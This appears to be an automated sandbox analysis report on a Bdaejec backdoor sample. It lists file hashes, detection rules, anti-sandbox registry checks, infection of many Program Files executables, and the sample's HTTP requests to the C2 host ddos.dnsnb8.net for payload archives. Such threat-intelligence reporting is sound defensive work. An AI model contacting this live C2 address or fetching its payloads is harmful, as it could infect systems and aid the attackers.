bdaejec | 8f5469d96f148afd08a0f693684f9bb0195a5291eb2437214c01465b463acbf8

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
08/01/2025, 02:48 UTC

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General

Target

8f5469d96f148afd08a0f693684f9bb0195a5291eb2437214c01465b463acbf8.exe
Size

1.6MB
MD5

fa07873f37b171a5567a9b4b3f2c65eb
SHA1

47d5210522d8c54d3076c1467f2f495025037bb6
SHA256

8f5469d96f148afd08a0f693684f9bb0195a5291eb2437214c01465b463acbf8
SHA512

68a8f289ea6acdd7b79595cd8f7cde9ff468f2e26b56e1b7cef024b8a999f834a94e43c165a5a9b0c4b42008afb7b9446b29aa2019c68133d65409d631c19f29
SSDEEP

49152:XE4XbjEKOh3SbiwJjn7gu5LUvdW9apuLvht/cionurM0EIMa1:Xrj834iwJjn7gu5LmMapuNiiMurM0

Score

10^/10

bdaejec aspackv2 backdoor discovery

Malware Config

Extracted

Family

bdaejec

ddos.dnsnb8.net

Signatures

Bdaejec
Bdaejec is a backdoor written in C++.
backdoor bdaejec
Bdaejec family
bdaejec

Detects Bdaejec Backdoor. 1 IoCs

Bdaejec is backdoor written in C++.

resource	yara_rule
behavioral2/memory/3652-50-0x0000000000FA0000-0x0000000000FA9000-memory.dmp	family_bdaejec_backdoor

ASPack v2.12-2.42 1 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral2/files/0x000c000000023b6c-3.dat	aspack_v212_v242

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	JdEV.exe

Executes dropped EXE 1 IoCs

pid	Process
3652	JdEV.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\misc.exe	JdEV.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\WORDICON.EXE	JdEV.exe
File opened for modification	C:\Program Files\Windows Security\BrowserCore\BrowserCore.exe	JdEV.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxCalendarAppImm.exe	JdEV.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe	JdEV.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jstat.exe	JdEV.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\servertool.exe	JdEV.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.exe	JdEV.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.1907.3152.0_x64__8wekyb3d8bbwe\PilotshubApp.exe	JdEV.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	JdEV.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jdb.exe	JdEV.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\jabswitch.exe	JdEV.exe
File opened for modification	C:\Program Files\Microsoft Office 15\ClientX64\OfficeClickToRun.exe	JdEV.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_x64__8wekyb3d8bbwe\Microsoft.MicrosoftSolitaireCollection.exe	JdEV.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\ssvagent.exe	JdEV.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.NetFX40.exe	JdEV.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstaller.exe	JdEV.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe	JdEV.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.2\createdump.exe	JdEV.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\idlj.exe	JdEV.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\javaw.exe	JdEV.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\CLVIEW.EXE	JdEV.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\wsimport.exe	JdEV.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\ONENOTEM.EXE	JdEV.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MSPaint_6.1907.29027.0_x64__8wekyb3d8bbwe\PaintStudio.View.exe	JdEV.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.371\GoogleUpdateOnDemand.exe	JdEV.exe
File opened for modification	C:\Program Files\7-Zip\7zG.exe	JdEV.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe	JdEV.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe	JdEV.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javaw.exe	JdEV.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\rmiregistry.exe	JdEV.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\onenoteshare.exe	JdEV.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe	JdEV.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.371\GoogleUpdateComRegisterShell64.exe	JdEV.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jcmd.exe	JdEV.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\Common.DBConnection64.exe	JdEV.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\msoadfsb.exe	JdEV.exe
File opened for modification	C:\Program Files\Windows Mail\wabmig.exe	JdEV.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.371\GoogleUpdate.exe	JdEV.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\chrome.exe	JdEV.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\kinit.exe	JdEV.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\klist.exe	JdEV.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\jjs.exe	JdEV.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Windows.Photos_2019.19071.12548.0_x64__8wekyb3d8bbwe\Microsoft.Photos.exe	JdEV.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe	JdEV.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\klist.exe	JdEV.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\jp2launcher.exe	JdEV.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE	JdEV.exe
File opened for modification	C:\Program Files\Windows Mail\wab.exe	JdEV.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\pack200.exe	JdEV.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.XboxGameOverlay_1.46.11001.0_x64__8wekyb3d8bbwe\GameBar.exe	JdEV.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	JdEV.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe	JdEV.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\IEContentService.exe	JdEV.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WebpImageExtension_1.0.22753.0_x64__8wekyb3d8bbwe\codecpacks.webp.exe	JdEV.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe	JdEV.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\FullTrustNotifier.exe	JdEV.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.371\GoogleCrashHandler.exe	JdEV.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jps.exe	JdEV.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE	JdEV.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\PDFREFLOW.EXE	JdEV.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\uninstall.exe	JdEV.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jarsigner.exe	JdEV.exe
File opened for modification	C:\Program Files\Mozilla Firefox\default-browser-agent.exe	JdEV.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\inf\oem0.PNF	8f5469d96f148afd08a0f693684f9bb0195a5291eb2437214c01465b463acbf8.exe
File created	C:\Windows\inf\oem1.PNF	8f5469d96f148afd08a0f693684f9bb0195a5291eb2437214c01465b463acbf8.exe
File created	C:\Windows\inf\oem2.PNF	8f5469d96f148afd08a0f693684f9bb0195a5291eb2437214c01465b463acbf8.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8f5469d96f148afd08a0f693684f9bb0195a5291eb2437214c01465b463acbf8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	JdEV.exe

Checks SCSI registry key(s) 3 TTPs 12 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000001	8f5469d96f148afd08a0f693684f9bb0195a5291eb2437214c01465b463acbf8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000002	8f5469d96f148afd08a0f693684f9bb0195a5291eb2437214c01465b463acbf8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	8f5469d96f148afd08a0f693684f9bb0195a5291eb2437214c01465b463acbf8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	8f5469d96f148afd08a0f693684f9bb0195a5291eb2437214c01465b463acbf8.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID	8f5469d96f148afd08a0f693684f9bb0195a5291eb2437214c01465b463acbf8.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Phantom	8f5469d96f148afd08a0f693684f9bb0195a5291eb2437214c01465b463acbf8.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Phantom	8f5469d96f148afd08a0f693684f9bb0195a5291eb2437214c01465b463acbf8.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	8f5469d96f148afd08a0f693684f9bb0195a5291eb2437214c01465b463acbf8.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	8f5469d96f148afd08a0f693684f9bb0195a5291eb2437214c01465b463acbf8.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID	8f5469d96f148afd08a0f693684f9bb0195a5291eb2437214c01465b463acbf8.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	8f5469d96f148afd08a0f693684f9bb0195a5291eb2437214c01465b463acbf8.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	8f5469d96f148afd08a0f693684f9bb0195a5291eb2437214c01465b463acbf8.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2356 wrote to memory of 3652	2356	8f5469d96f148afd08a0f693684f9bb0195a5291eb2437214c01465b463acbf8.exe	84
PID 2356 wrote to memory of 3652	2356	8f5469d96f148afd08a0f693684f9bb0195a5291eb2437214c01465b463acbf8.exe	84
PID 2356 wrote to memory of 3652	2356	8f5469d96f148afd08a0f693684f9bb0195a5291eb2437214c01465b463acbf8.exe	84
PID 3652 wrote to memory of 2596	3652	JdEV.exe	85
PID 3652 wrote to memory of 2596	3652	JdEV.exe	85
PID 3652 wrote to memory of 2596	3652	JdEV.exe	85

C:\Users\Admin\AppData\Local\Temp\8f5469d96f148afd08a0f693684f9bb0195a5291eb2437214c01465b463acbf8.exe
"C:\Users\Admin\AppData\Local\Temp\8f5469d96f148afd08a0f693684f9bb0195a5291eb2437214c01465b463acbf8.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Suspicious use of WriteProcessMemory
PID:2356
- C:\Users\Admin\AppData\Local\Temp\JdEV.exe
  C:\Users\Admin\AppData\Local\Temp\JdEV.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3652
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\15605b55.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2596

Network

DNS

8.8.8.8.in-addr.arpa

Remote address:

8.8.8.8:53

Request

8.8.8.8.in-addr.arpa

IN PTR

Response

8.8.8.8.in-addr.arpa

IN PTR

dnsgoogle
DNS

ddos.dnsnb8.net

JdEV.exe

Remote address:

8.8.8.8:53

Request

ddos.dnsnb8.net

IN A

Response

ddos.dnsnb8.net

IN A

44.221.84.105
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

JdEV.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
GET

http://ddos.dnsnb8.net:799/cj//k2.rar

JdEV.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k2.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
GET

http://ddos.dnsnb8.net:799/cj//k3.rar

JdEV.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k3.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
DNS

228.249.119.40.in-addr.arpa

Remote address:

8.8.8.8:53

Request

228.249.119.40.in-addr.arpa

IN PTR

Response
DNS

105.84.221.44.in-addr.arpa

Remote address:

8.8.8.8:53

Request

105.84.221.44.in-addr.arpa

IN PTR

Response

105.84.221.44.in-addr.arpa

IN PTR

ec2-44-221-84-105 compute-1 amazonawscom
DNS

172.214.232.199.in-addr.arpa

Remote address:

8.8.8.8:53

Request

172.214.232.199.in-addr.arpa

IN PTR

Response
GET

http://ddos.dnsnb8.net:799/cj//k4.rar

JdEV.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k4.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
GET

http://ddos.dnsnb8.net:799/cj//k5.rar

JdEV.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k5.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
DNS

136.32.126.40.in-addr.arpa

Remote address:

8.8.8.8:53

Request

136.32.126.40.in-addr.arpa

IN PTR

Response
DNS

95.221.229.192.in-addr.arpa

Remote address:

8.8.8.8:53

Request

95.221.229.192.in-addr.arpa

IN PTR

Response
DNS

104.219.191.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

104.219.191.52.in-addr.arpa

IN PTR

Response
DNS

200.163.202.172.in-addr.arpa

Remote address:

8.8.8.8:53

Request

200.163.202.172.in-addr.arpa

IN PTR

Response
DNS

198.187.3.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

198.187.3.20.in-addr.arpa

IN PTR

Response
DNS

172.210.232.199.in-addr.arpa

Remote address:

8.8.8.8:53

Request

172.210.232.199.in-addr.arpa

IN PTR

Response
DNS

11.227.111.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

11.227.111.52.in-addr.arpa

IN PTR

Response
DNS

170.253.116.51.in-addr.arpa

Remote address:

8.8.8.8:53

Request

170.253.116.51.in-addr.arpa

IN PTR

44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

JdEV.exe

564 B
296 B
6
7

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar
44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k2.rar

http

JdEV.exe

564 B
296 B
6
7

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k2.rar
44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k3.rar

http

JdEV.exe

564 B
296 B
6
7

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k3.rar
44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k4.rar

http

JdEV.exe

564 B
296 B
6
7

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k4.rar
44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k5.rar

http

JdEV.exe

564 B
296 B
6
7

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k5.rar

8.8.8.8:53

8.8.8.8.in-addr.arpa

dns

66 B
90 B
1
1

DNS Request

8.8.8.8.in-addr.arpa
8.8.8.8:53

ddos.dnsnb8.net

dns

JdEV.exe

61 B
77 B
1
1

DNS Request

ddos.dnsnb8.net

DNS Response

44.221.84.105
8.8.8.8:53

228.249.119.40.in-addr.arpa

dns

73 B
159 B
1
1

DNS Request

228.249.119.40.in-addr.arpa
8.8.8.8:53

105.84.221.44.in-addr.arpa

dns

72 B
127 B
1
1

DNS Request

105.84.221.44.in-addr.arpa
8.8.8.8:53

172.214.232.199.in-addr.arpa

dns

74 B
128 B
1
1

DNS Request

172.214.232.199.in-addr.arpa
8.8.8.8:53

136.32.126.40.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

136.32.126.40.in-addr.arpa
8.8.8.8:53

95.221.229.192.in-addr.arpa

dns

73 B
144 B
1
1

DNS Request

95.221.229.192.in-addr.arpa
8.8.8.8:53

104.219.191.52.in-addr.arpa

dns

73 B
147 B
1
1

DNS Request

104.219.191.52.in-addr.arpa
8.8.8.8:53

200.163.202.172.in-addr.arpa

dns

74 B
160 B
1
1

DNS Request

200.163.202.172.in-addr.arpa
8.8.8.8:53

198.187.3.20.in-addr.arpa

dns

71 B
157 B
1
1

DNS Request

198.187.3.20.in-addr.arpa
8.8.8.8:53

172.210.232.199.in-addr.arpa

dns

74 B
128 B
1
1

DNS Request

172.210.232.199.in-addr.arpa
8.8.8.8:53

11.227.111.52.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

11.227.111.52.in-addr.arpa
8.8.8.8:53

170.253.116.51.in-addr.arpa

dns

73 B
1

DNS Request

170.253.116.51.in-addr.arpa

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\VKYZDMA5\k2[1].rar

Filesize
4B

MD5
d3b07384d113edec49eaa6238ad5ff00

SHA1
f1d2d2f924e986ac86fdf7b36c94bcdf32beec15

SHA256
b5bb9d8014a0f9b1d61e21e796d78dccdf1352f23cd32812f4850b878ae4944c

SHA512
0cf9180a764aba863a67b6d72f0918bc131c6772642cb2dce5a34f0a702f9470ddc2bf125c12198b1995c233c34b4afd346c54a2334c350a948a51b6e8b4e6b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\15605b55.bat

Filesize
183B

MD5
b5be83ad96ced54fe8c9dc83ba0e06f0

SHA1
15ba54fc880f6817008b7dd05dc26daf8dc73c96

SHA256
8a4fb30422643943e134cbfe2aaf09b2f7539085bed6d7e925165b3418a665e9

SHA512
1c7f06d15a31abd52ce4157b09861435610a826be470fdd2e4a3bcde970bd2d803508893ebc679cf86663ca57771b8527b5193c53a852c9d683e62783c5ac227

Download Submit
C:\Users\Admin\AppData\Local\Temp\3A3468FC.exe

Filesize
4B

MD5
20879c987e2f9a916e578386d499f629

SHA1
c7b33ddcc42361fdb847036fc07e880b81935d5d

SHA256
9f2981a7cc4d40a2a409dc895de64253acd819d7c0011c8e80b86fe899464e31

SHA512
bcdde1625364dd6dd143b45bdcec8d59cf8982aff33790d390b839f3869e0e815684568b14b555a596d616252aeeaa98dac2e6e551c9095ea11a575ff25ff84f

Download Submit
C:\Users\Admin\AppData\Local\Temp\JdEV.exe

Filesize
15KB

MD5
56b2c3810dba2e939a8bb9fa36d3cf96

SHA1
99ee31cd4b0d6a4b62779da36e0eeecdd80589fc

SHA256
4354970ccc7cd6bb16318f132c34f6a1b3d5c2ea7ff53e1c9271905527f2db07

SHA512
27812a9a034d7bd2ca73b337ae9e0b6dc79c38cfd1a2c6ac9d125d3cc8fa563c401a40d22155811d5054e5baa8cf8c8e7e03925f25fa856a9ba9dea708d15b4e

Download Submit
memory/2356-0-0x0000000000510000-0x00000000006BB000-memory.dmp

Filesize
1.7MB

Download
memory/2356-10-0x0000000000510000-0x00000000006BB000-memory.dmp

Filesize
1.7MB

Download
memory/3652-4-0x0000000000FA0000-0x0000000000FA9000-memory.dmp

Filesize
36KB

Download
memory/3652-50-0x0000000000FA0000-0x0000000000FA9000-memory.dmp

Filesize
36KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Request

HTTP Request

HTTP Request

HTTP Request

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

MITRE ATT&CK Enterprise v15

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Downloads

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